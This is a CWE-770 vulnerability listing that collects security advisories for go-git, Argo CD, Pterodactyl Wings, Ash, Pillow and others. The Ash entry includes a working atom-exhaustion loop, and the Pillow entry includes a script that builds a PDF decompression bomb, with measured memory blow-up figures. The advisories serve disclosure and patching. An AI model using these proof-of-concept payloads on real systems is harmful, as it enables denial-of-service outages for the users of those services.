CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3098 vulnerabilities reference this CWE, most recent first.
GHSA-JHF3-XXHW-2WPP
Vulnerability from github – Published: 2026-03-30 17:17 – Updated: 2026-03-31 18:50Impact
A vulnerability has been identified in which a maliciously crafted .idx file can cause asymmetric memory consumption, potentially exhausting available memory and resulting in a Denial of Service (DoS) condition.
Exploitation requires write access to the local repository's .git directory, it order to create or alter existing .idx files.
Patches
Users should upgrade to v5.17.1, or the latest v6 pseudo-version, in order to mitigate this vulnerability.
Credit
The go-git maintainers thank @kq5y for finding and reporting this issue privately to the go-git project.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.17.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/go-git/go-git/v5"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.17.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34165"
],
"database_specific": {
"cwe_ids": [
"CWE-191",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-30T17:17:54Z",
"nvd_published_at": "2026-03-31T15:16:17Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nA vulnerability has been identified in which a maliciously crafted `.idx` file can cause asymmetric memory consumption, potentially exhausting available memory and resulting in a Denial of Service (DoS) condition.\n\nExploitation requires write access to the local repository\u0027s `.git` directory, it order to create or alter existing `.idx` files. \n\n### Patches\n\nUsers should upgrade to `v5.17.1`, or the latest `v6` [pseudo-version](https://go.dev/ref/mod#pseudo-versions), in order to mitigate this vulnerability.\n\n### Credit\n\nThe go-git maintainers thank @kq5y for finding and reporting this issue privately to the `go-git` project.",
"id": "GHSA-jhf3-xxhw-2wpp",
"modified": "2026-03-31T18:50:40Z",
"published": "2026-03-30T17:17:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-git/go-git/security/advisories/GHSA-jhf3-xxhw-2wpp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34165"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-git/go-git"
},
{
"type": "WEB",
"url": "https://github.com/go-git/go-git/releases/tag/v5.17.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "go-git: Maliciously crafted idx file can cause asymmetric memory consumption"
}
GHSA-JHQ4-533P-8P4C
Vulnerability from github – Published: 2026-02-12 00:31 – Updated: 2026-06-30 03:35This issue was addressed through improved state management. This issue is fixed in macOS Tahoe 26.3, iOS 18.7.5 and iPadOS 18.7.5, visionOS 26.3, iOS 26.3 and iPadOS 26.3, Safari 26.3. Processing maliciously crafted web content may lead to an unexpected process crash.
{
"affected": [],
"aliases": [
"CVE-2026-20608"
],
"database_specific": {
"cwe_ids": [
"CWE-120",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-11T23:16:04Z",
"severity": "MODERATE"
},
"details": "This issue was addressed through improved state management. This issue is fixed in macOS Tahoe 26.3, iOS 18.7.5 and iPadOS 18.7.5, visionOS 26.3, iOS 26.3 and iPadOS 26.3, Safari 26.3. Processing maliciously crafted web content may lead to an unexpected process crash.",
"id": "GHSA-jhq4-533p-8p4c",
"modified": "2026-06-30T03:35:34Z",
"published": "2026-02-12T00:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20608"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/126354"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/126353"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/126348"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/126347"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/126346"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-20608.json"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448789"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-20608"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:9692"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:22136"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:19535"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:19206"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:16695"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:16056"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:14659"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:13845"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:11814"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:11329"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:10702"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JHQP-VF4W-RPWQ
Vulnerability from github – Published: 2022-06-21 22:51 – Updated: 2022-06-21 22:51Impact
All versions of Argo CD starting with v0.7.0 are vulnerable to an uncontrolled memory consumption bug, allowing an authorized malicious user to crash the repo-server service. The repo-server is a critical component of Argo CD, so crashing the repo-server effectively denies core Argo CD services (such as syncing Application updates).
To achieve denial of service, the attacker must be an authenticated Argo CD user authorized to deploy Applications from a repository which contains (or can be made to contain) a large file.
Patches
A patch for this vulnerability has been released in the following Argo CD versions:
- v2.4.1
- v2.3.5
- v2.2.10
- v2.1.16
The patch introduces a new reposerver.max.combined.directory.manifests.size config parameter, which you should tune before upgrading in production. It caps the maximum total file size of .yaml/.yml/.json files in directory-type (raw manifest) Applications. The default max is 10M per Application. This max is designed to keep any single app from consuming more than 3G of memory in the repo-server (manifests consume more space in memory than on disk). The 300x ratio assumes a maliciously-crafted manifest file. If you only want to protect against accidental excessive memory use, it is probably safe to use a smaller ratio.
If your organization uses directory-type Applications with very many manifests or very large manifests then check the size of those manifests and tune the config parameter before deploying this change to production. When testing, make sure to do a "hard refresh" in either the CLI or UI to test your directory-type App. That will make sure you're using the new max logic instead of relying on cached manifest responses from Redis.
Workarounds
There is no workaround besides upgrading.
To mitigate the issue, carefully limit 1) who can configure repos (determined by RBAC), 2) which repos are allowed (determined by Project limitations), and 3) who has push access to those repos (determined by your SCM provider configuration).
Credits
Disclosed by ADA Logics in a security audit of the Argo project sponsored by CNCF and facilitated by OSTIF. Thanks to Adam Korczynski and David Korczynski for their work on the audit.
For more information
- Open an issue in the Argo CD issue tracker or discussions
- Join us on Slack in channel #argo-cd
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.8.7"
},
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-cd"
},
"ranges": [
{
"events": [
{
"introduced": "0.7.0"
},
{
"fixed": "2.1.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-cd/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-cd/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-cd/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-cd/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "2.4.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.4.0"
]
}
],
"aliases": [
"CVE-2022-31016"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-21T22:51:05Z",
"nvd_published_at": "2022-06-25T08:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nAll versions of Argo CD starting with v0.7.0 are vulnerable to an uncontrolled memory consumption bug, allowing an authorized malicious user to crash the [repo-server](https://argo-cd.readthedocs.io/en/stable/operator-manual/architecture/#repository-server) service. The repo-server is a critical component of Argo CD, so crashing the repo-server effectively denies core Argo CD services (such as syncing Application updates).\n\nTo achieve denial of service, the attacker must be an authenticated Argo CD user authorized to deploy Applications from a repository which contains (or can be made to contain) a large file. \n\n### Patches\n\nA patch for this vulnerability has been released in the following Argo CD versions:\n\n* v2.4.1\n* v2.3.5\n* v2.2.10\n* v2.1.16\n\n**The patch introduces a new `reposerver.max.combined.directory.manifests.size` config parameter, which you should tune before upgrading in production.** It caps the maximum total file size of .yaml/.yml/.json files in directory-type (raw manifest) Applications. The default max is `10M` per Application. This max is designed to keep any single app from consuming more than 3G of memory in the repo-server (manifests consume more space in memory than on disk). The 300x ratio assumes a maliciously-crafted manifest file. If you only want to protect against accidental excessive memory use, it is probably safe to use a smaller ratio.\n\nIf your organization uses directory-type Applications with very many manifests or very large manifests then **check the size of those manifests and tune the config parameter before deploying this change to production**. When testing, make sure to do a \"hard refresh\" in either the CLI or UI to test your directory-type App. That will make sure you\u0027re using the new max logic instead of relying on cached manifest responses from Redis.\n\n### Workarounds\n\nThere is no workaround besides upgrading.\n\nTo mitigate the issue, carefully limit 1) who can configure repos (determined by [RBAC](https://argo-cd.readthedocs.io/en/stable/getting_started/)), 2) which repos are allowed (determined by [Project](https://argo-cd.readthedocs.io/en/stable/user-guide/projects/) limitations), and 3) who has push access to those repos (determined by your SCM provider configuration).\n\n### Credits\n\nDisclosed by ADA Logics in a security audit of the Argo project sponsored by CNCF and facilitated by OSTIF. Thanks to Adam Korczynski and David Korczynski for their work on the audit.\n\n### For more information\n\n* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\n* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n",
"id": "GHSA-jhqp-vf4w-rpwq",
"modified": "2022-06-21T22:51:05Z",
"published": "2022-06-21T22:51:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-jhqp-vf4w-rpwq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31016"
},
{
"type": "PACKAGE",
"url": "https://github.com/argoproj/argo-cd"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "DoS through large manifest files in Argo CD"
}
GHSA-JJ5M-2M9J-HXJW
Vulnerability from github – Published: 2024-08-13 18:31 – Updated: 2024-08-13 18:31If exploited, this vulnerability could cause a SuiteLink server to consume excessive system resources and slow down processing of Data I/O for the duration of the attack.
{
"affected": [],
"aliases": [
"CVE-2024-7113"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-13T17:15:24Z",
"severity": "HIGH"
},
"details": "If exploited, this vulnerability could cause a SuiteLink server to consume excessive system resources and slow down processing of Data I/O for the duration of the attack.",
"id": "GHSA-jj5m-2m9j-hxjw",
"modified": "2024-08-13T18:31:15Z",
"published": "2024-08-13T18:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7113"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-226-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-JJ6M-R8JC-2GP7
Vulnerability from github – Published: 2021-06-23 18:03 – Updated: 2022-10-25 20:24Impact
All versions of Pterodactyl Wings preior to 1.4.4 are vulnerable to system resource exhaustion due to improper container process limits being defined. A malicious user can consume more resources than intended and cause downstream impacts to other clients on the same hardware, eventually causing the physical server to stop responding.
Patches
Users should upgrade to 1.4.4.
Workarounds
There is no non-code based workaround for impacted versions of the software. Users running customized versions of this software can manually set a PID limit for containers created.
For more information
If you have any questions or comments about this advisory:
* Contact us on Discord
* Email us at dane ät pterodactyl dot io
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/pterodactyl/wings"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-32699"
],
"database_specific": {
"cwe_ids": [
"CWE-405",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2021-06-22T15:43:57Z",
"nvd_published_at": "2021-06-22T20:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nAll versions of Pterodactyl Wings preior to `1.4.4` are vulnerable to system resource exhaustion due to improper container process limits being defined. A malicious user can consume more resources than intended and cause downstream impacts to other clients on the same hardware, eventually causing the physical server to stop responding.\n\n### Patches\nUsers should upgrade to `1.4.4`.\n\n### Workarounds\nThere is no non-code based workaround for impacted versions of the software. Users running customized versions of this software can manually set a PID limit for containers created.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Contact us on [Discord](https://discord.gg/pterodactyl)\n* Email us at `dane \u00e4t pterodactyl dot io`",
"id": "GHSA-jj6m-r8jc-2gp7",
"modified": "2022-10-25T20:24:52Z",
"published": "2021-06-23T18:03:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pterodactyl/wings/security/advisories/GHSA-jj6m-r8jc-2gp7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32699"
},
{
"type": "WEB",
"url": "https://github.com/pterodactyl/wings/commit/e0078eee0a71d61573a94c75e6efcad069d78de3"
},
{
"type": "PACKAGE",
"url": "https://github.com/pterodactyl/wings"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Asymmetric Resource Consumption (Amplification) in Docker containers created by Wings "
}
GHSA-JJF9-W5VJ-R6VP
Vulnerability from github – Published: 2026-04-01 00:14 – Updated: 2026-04-06 17:24Summary
Ash.Type.Module.cast_input/2 unconditionally creates a new Erlang atom via Module.concat([value]) for any user-supplied binary string that starts with "Elixir.", before verifying whether the referenced module exists. Because Erlang atoms are never garbage-collected and the BEAM atom table has a hard default limit of approximately 1,048,576 entries, an attacker who can submit values to any resource attribute or argument of type :module can exhaust this table and crash the entire BEAM VM, taking down the application.
Details
Setup: A resource with a :module-typed attribute exposed to user input, which is a supported and documented usage of the Ash.Type.Module built-in type:
defmodule MyApp.Widget do
use Ash.Resource, domain: MyApp, data_layer: AshPostgres.DataLayer
attributes do
uuid_primary_key :id
attribute :handler_module, :module, public?: true
end
actions do
defaults [:read, :destroy]
create :create do
accept [:handler_module]
end
end
end
Vulnerable code in lib/ash/type/module.ex, lines 105-113:
def cast_input("Elixir." <> _ = value, _) do
module = Module.concat([value]) # <-- Creates new atom unconditionally
if Code.ensure_loaded?(module) do
{:ok, module}
else
:error # <-- Returns error but atom is already created
end
end
Exploit: Submit repeated Ash.create requests (e.g., via a JSON API endpoint) with unique "Elixir.*" strings:
# Attacker-controlled loop (or HTTP requests to an API endpoint)
for i <- 1..1_100_000 do
Ash.Changeset.for_create(MyApp.Widget, :create, %{handler_module: "Elixir.Attack#{i}"})
|> Ash.create()
# Each iteration: Module.concat(["Elixir.Attack#{i}"]) creates a new atom
# cast_input returns :error but the atom :"Elixir.Attack#{i}" persists
end
# After ~1,048,576 unique strings: BEAM crashes with system_limit
Contrast: The non-"Elixir." path in the same function correctly uses String.to_existing_atom/1, which is safe because it only looks up atoms that already exist:
def cast_input(value, _) when is_binary(value) do
atom = String.to_existing_atom(value) # safe - raises if atom doesn't exist
...
end
Additional occurrence: cast_stored/2 at line 141 contains the identical pattern, which is reachable when reading :module-typed values from the database if an attacker can write arbitrary "Elixir.*" strings to the relevant database column.
Impact
An attacker who can submit requests to any API endpoint backed by an Ash resource with a :module-typed attribute or argument can crash the entire BEAM VM process. This is a complete denial of service: all resources served by that VM instance (not just the targeted resource) become unavailable. The crash cannot be prevented once the atom table is full, and recovery requires a full process restart.
Fix direction: Replace Module.concat([value]) with String.to_existing_atom(value) wrapped in a rescue ArgumentError block (as already done in the non-"Elixir." branch), or validate that the atom already exists before calling Module.concat by first attempting String.to_existing_atom and only falling back to Module.concat on success.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.21.3"
},
"package": {
"ecosystem": "Hex",
"name": "ash"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34593"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T00:14:40Z",
"nvd_published_at": "2026-04-02T18:16:31Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`Ash.Type.Module.cast_input/2` unconditionally creates a new Erlang atom via `Module.concat([value])` for any user-supplied binary string that starts with `\"Elixir.\"`, before verifying whether the referenced module exists. Because Erlang atoms are never garbage-collected and the BEAM atom table has a hard default limit of approximately 1,048,576 entries, an attacker who can submit values to any resource attribute or argument of type `:module` can exhaust this table and crash the entire BEAM VM, taking down the application.\n\n## Details\n\n**Setup**: A resource with a `:module`-typed attribute exposed to user input, which is a supported and documented usage of the `Ash.Type.Module` built-in type:\n\n```elixir\ndefmodule MyApp.Widget do\n use Ash.Resource, domain: MyApp, data_layer: AshPostgres.DataLayer\n\n attributes do\n uuid_primary_key :id\n attribute :handler_module, :module, public?: true\n end\n\n actions do\n defaults [:read, :destroy]\n create :create do\n accept [:handler_module]\n end\n end\nend\n```\n\n**Vulnerable code** in `lib/ash/type/module.ex`, lines 105-113:\n\n```elixir\ndef cast_input(\"Elixir.\" \u003c\u003e _ = value, _) do\n module = Module.concat([value]) # \u003c-- Creates new atom unconditionally\n if Code.ensure_loaded?(module) do\n {:ok, module}\n else\n :error # \u003c-- Returns error but atom is already created\n end\nend\n```\n\n**Exploit**: Submit repeated `Ash.create` requests (e.g., via a JSON API endpoint) with unique `\"Elixir.*\"` strings:\n\n```elixir\n# Attacker-controlled loop (or HTTP requests to an API endpoint)\nfor i \u003c- 1..1_100_000 do\n Ash.Changeset.for_create(MyApp.Widget, :create, %{handler_module: \"Elixir.Attack#{i}\"})\n |\u003e Ash.create()\n # Each iteration: Module.concat([\"Elixir.Attack#{i}\"]) creates a new atom\n # cast_input returns :error but the atom :\"Elixir.Attack#{i}\" persists\nend\n# After ~1,048,576 unique strings: BEAM crashes with system_limit\n```\n\n**Contrast**: The non-`\"Elixir.\"` path in the same function correctly uses `String.to_existing_atom/1`, which is safe because it only looks up atoms that already exist:\n\n```elixir\ndef cast_input(value, _) when is_binary(value) do\n atom = String.to_existing_atom(value) # safe - raises if atom doesn\u0027t exist\n ...\nend\n```\n\n**Additional occurrence**: `cast_stored/2` at line 141 contains the identical pattern, which is reachable when reading `:module`-typed values from the database if an attacker can write arbitrary `\"Elixir.*\"` strings to the relevant database column.\n\n## Impact\n\nAn attacker who can submit requests to any API endpoint backed by an Ash resource with a `:module`-typed attribute or argument can crash the entire BEAM VM process. This is a complete denial of service: all resources served by that VM instance (not just the targeted resource) become unavailable. The crash cannot be prevented once the atom table is full, and recovery requires a full process restart.\n\n**Fix direction**: Replace `Module.concat([value])` with `String.to_existing_atom(value)` wrapped in a `rescue ArgumentError` block (as already done in the non-`\"Elixir.\"` branch), or validate that the atom already exists before calling `Module.concat` by first attempting `String.to_existing_atom` and only falling back to `Module.concat` on success.",
"id": "GHSA-jjf9-w5vj-r6vp",
"modified": "2026-04-06T17:24:41Z",
"published": "2026-04-01T00:14:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ash-project/ash/security/advisories/GHSA-jjf9-w5vj-r6vp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34593"
},
{
"type": "WEB",
"url": "https://github.com/ash-project/ash/commit/7031103da38cd1366cec8c96d6bcdc9b989aa3c2"
},
{
"type": "PACKAGE",
"url": "https://github.com/ash-project/ash"
},
{
"type": "WEB",
"url": "https://github.com/ash-project/ash/releases/tag/v3.22.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Ash.Type.Module.cast_input/2 atom exhaustion via unchecked Module.concat allows BEAM VM crash"
}
GHSA-JJJ6-MW9F-P565
Vulnerability from github – Published: 2026-07-20 23:11 – Updated: 2026-07-20 23:11Summary
PdfParser.PdfStream.decode() in Pillow's PdfParser.py calls zlib.decompress() with the bufsize parameter set to the value of the PDF stream's Length field, without any upper bound on the actual decompressed output size. Python's zlib.decompress() bufsize argument is an initial output buffer hint, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses PdfParser to read untrusted PDF files.
Details
PdfStream.decode() in pdfminer/PdfParser.py reads the stream's declared Length (or DL) field from the PDF dictionary and passes it as bufsize to zlib.decompress():
# PIL/PdfParser.py — PdfStream.decode()
class PdfStream:
def decode(self) -> bytes:
try:
filter = self.dictionary[b"Filter"]
except KeyError:
return self.buf
if filter == b"FlateDecode":
try:
expected_length = self.dictionary[b"DL"]
except KeyError:
expected_length = self.dictionary[b"Length"]
return zlib.decompress(self.buf, bufsize=int(expected_length))
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# bufsize is an *initial buffer hint*, NOT a maximum size limit.
# zlib.decompress() allocates as much memory as needed regardless.
From the Python documentation: "The bufsize parameter is used as the initial size of the output buffer." It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting Length to any value (including the actual compressed size) to avoid triggering format validation.
PdfParser is instantiated with a filename or file object and calls read_pdf_info() on open, which parses the xref table and makes stream objects accessible. PdfStream.decode() is reachable whenever calling code accesses a compressed stream object from the parsed PDF.
Confirmed reachable path:
with PdfParser.PdfParser("evil.pdf") as pdf:
stream_obj, _ = pdf.get_value(pdf.buf, stream_offset)
data = stream_obj.decode() # ← OOM here
PoC
import zlib, tempfile, os, time
from PIL import PdfParser
# Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale)
EXPAND_MB = 100
raw = b'\x00' * (EXPAND_MB * 1_000_000)
compressed = zlib.compress(raw, level=9) # ~97 KB
buf = b'%PDF-1.4\n'
o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n'
o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n'
o3 = len(buf)
hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode()
buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n'
xref = len(buf)
buf += b'xref\n0 4\n0000000000 65535 f \n'
for off in [o1, o2, o3]:
buf += f'{off:010d} 00000 n \n'.encode()
buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n'
print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)")
with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f:
f.write(buf); tmpname = f.name
with PdfParser.PdfParser(tmpname) as pdf:
obj, _ = pdf.get_value(pdf.buf, o3)
t = time.time()
decoded = obj.decode()
print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s")
os.unlink(tmpname)
Actual output (Pillow 12.1.1, Python 3.12):
PDF size: 97,538 bytes (95.3 KB)
Decoded: 100,000,000 bytes in 0.265s
Measured expansion:
| PDF file size | Memory allocated | Ratio | Wall time |
|---|---|---|---|
| 10 KB | 10 MB | 1,026× | 0.024 s |
| 95 KB | 100 MB | 1,028× | 0.265 s |
| 475 KB | 500 MB | 1,028× | 1.279 s |
| 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s |
Impact
This is a denial-of-service vulnerability. Any application that uses PIL.PdfParser.PdfParser to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.
Note: This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion PIL/PdfImagePlugin.py decompression issue. It exists specifically in Pillow's own PdfParser.py module, which is distinct from pdfminer.six.
Suggested fix:
MAX_DECOMPRESS_BYTES = 200 * 1024 * 1024 # 200 MB cap
def decode(self) -> bytes:
...
if filter == b"FlateDecode":
...
result = zlib.decompress(self.buf, bufsize=int(expected_length))
if len(result) > MAX_DECOMPRESS_BYTES:
msg = "Decompressed stream exceeds maximum allowed size"
raise ValueError(msg)
return result
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Pillow"
},
"ranges": [
{
"events": [
{
"introduced": "5.1.0"
},
{
"fixed": "12.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59200"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T23:11:29Z",
"nvd_published_at": "2026-07-14T17:17:14Z",
"severity": "HIGH"
},
"details": "### Summary\n`PdfParser.PdfStream.decode()` in Pillow\u0027s `PdfParser.py` calls `zlib.decompress()` with the `bufsize` parameter set to the value of the PDF stream\u0027s `Length` field, without any upper bound on the actual decompressed output size. Python\u0027s `zlib.decompress()` `bufsize` argument is an *initial output buffer hint*, not a maximum size limit \u2014 the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses `PdfParser` to read untrusted PDF files.\n\n### Details\n`PdfStream.decode()` in `pdfminer/PdfParser.py` reads the stream\u0027s declared `Length` (or `DL`) field from the PDF dictionary and passes it as `bufsize` to `zlib.decompress()`:\n\n```python\n# PIL/PdfParser.py \u2014 PdfStream.decode()\nclass PdfStream:\n def decode(self) -\u003e bytes:\n try:\n filter = self.dictionary[b\"Filter\"]\n except KeyError:\n return self.buf\n if filter == b\"FlateDecode\":\n try:\n expected_length = self.dictionary[b\"DL\"]\n except KeyError:\n expected_length = self.dictionary[b\"Length\"]\n return zlib.decompress(self.buf, bufsize=int(expected_length))\n # ^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n # bufsize is an *initial buffer hint*, NOT a maximum size limit.\n # zlib.decompress() allocates as much memory as needed regardless.\n```\n\nFrom the Python documentation: *\"The `bufsize` parameter is used as the initial size of the output buffer.\"* It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting `Length` to any value (including the actual compressed size) to avoid triggering format validation.\n\n`PdfParser` is instantiated with a filename or file object and calls `read_pdf_info()` on open, which parses the xref table and makes stream objects accessible. `PdfStream.decode()` is reachable whenever calling code accesses a compressed stream object from the parsed PDF.\n\n**Confirmed reachable path:**\n```python\nwith PdfParser.PdfParser(\"evil.pdf\") as pdf:\n stream_obj, _ = pdf.get_value(pdf.buf, stream_offset)\n data = stream_obj.decode() # \u2190 OOM here\n```\n\n\n### PoC\n\n```python\nimport zlib, tempfile, os, time\nfrom PIL import PdfParser\n\n# Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale)\nEXPAND_MB = 100\nraw = b\u0027\\x00\u0027 * (EXPAND_MB * 1_000_000)\ncompressed = zlib.compress(raw, level=9) # ~97 KB\n\nbuf = b\u0027%PDF-1.4\\n\u0027\no1 = len(buf); buf += b\u00271 0 obj\\n\u003c\u003c /Type /Pages /Kids [] /Count 0 \u003e\u003e\\nendobj\\n\u0027\no2 = len(buf); buf += b\u00272 0 obj\\n\u003c\u003c /Type /Catalog /Pages 1 0 R \u003e\u003e\\nendobj\\n\u0027\no3 = len(buf)\nhdr = f\u0027\u003c\u003c /Filter /FlateDecode /Length {len(compressed)} \u003e\u003e\u0027.encode()\nbuf += b\u00273 0 obj\\n\u0027 + hdr + b\u0027\\nstream\\n\u0027 + compressed + b\u0027\\nendstream\\nendobj\\n\u0027\nxref = len(buf)\nbuf += b\u0027xref\\n0 4\\n0000000000 65535 f \\n\u0027\nfor off in [o1, o2, o3]:\n buf += f\u0027{off:010d} 00000 n \\n\u0027.encode()\nbuf += b\u0027trailer\\n\u003c\u003c /Size 4 /Root 2 0 R 